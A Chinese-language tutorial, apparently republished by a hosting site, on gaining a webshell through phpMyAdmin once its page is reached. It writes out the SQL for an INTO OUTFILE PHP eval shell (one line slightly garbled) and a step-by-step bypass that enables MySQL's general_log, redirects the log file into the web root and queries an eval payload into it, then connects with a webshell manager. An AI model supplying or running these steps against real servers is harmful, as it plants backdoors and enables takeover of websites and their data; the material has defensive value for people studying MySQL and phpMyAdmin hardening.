您好,登錄后才能下訂單哦!
這篇文章主要介紹了phpmyadmin中getshell有什么用,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。借由此Web接口可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優勢在于由于phpMyAdmin跟其他PHP程式一樣在網頁服務器上執行,但是您可以在任何地方使用這些程式產生的HTML頁面,也就是于遠端管理MySQL數據庫,方便的建立、修改、刪除數據庫及資料表。也可借由phpMyAdmin建立常用的php語法,方便編寫網頁時所需要的sql語法正確性。
通俗的講 其作用就是可以在web頁面方便的操作數據庫。
當我們得到一個站點的phpmyadmin頁面時,下一步要做的就是getshell。
可以通過寫shell進行提權,而我們需要滿足以下條件:
1.數據庫root權限
2.知道網站的物理路徑
3.數據庫有寫權限
通過 select '<?php eval($_POST=[123];)?>' INTO OUTFILE '網站物理路徑' 寫入shell
本文主要講的是在條件3不滿足的情況下成功getshell。
利用條件:MySQL 5.0+
MySQL 5.0+的版本會自動創建日志文件,那么在服務運行的情況下修改全局變量也是可以變動文件位置的,但是必須要對生成日志的目錄有可讀可寫的權限。
(Linux環境下可能會比較苛刻,因為站點目錄是一個用戶,MySQL是另外一個用戶,權限管控較為嚴格,主要取決于權限配置是否得當)
首先我們測試站點是否有寫權限
執行sql語句 SHOW VARIABLES LIKE 'secure_file_priv'
sql語句 SHOW VARIABLES LIKE 'secure_file_priv' 進行查詢 查找secure_file_priv
secure-file-priv特性
secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
當secure_file_priv的值為null ,表示限制mysql 不允許導入|導出
當secure_file_priv的值為/tmp/ ,表示限制mysql 的導入|導出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysql 的導入|導出做限制
可以在mysql-ini文件中設置其屬性
經測試,我們沒有寫權限
然后再介紹兩個MySQL全局變量(general_log、general_log file)
general log 指的是日志保存狀態,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
general log file 指的是日志的保存路徑。
我們可以通過將一句話木馬寫入mysql日志中然后移動mysql日志路徑到網站目錄下實現getshell
執行sql語句 SHOW VARIABLES LIKE 'general_log%' 進行模糊查詢
日志默認關閉
我們執行sql語句
set global general_log = "ON"; #開啟日志 SET global general_log_file='網站下物理路徑'; #更換日志路徑
成功創建
然后執行特殊的查詢語句
select '<?php eval($_POST[aaa]);?>'
我們進入112233.php進行驗證,成功寫入shell
最后進行菜刀連接,獲得站點webshell
感謝你能夠認真閱讀完這篇文章,希望小編分享的“phpmyadmin中getshell有什么用”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。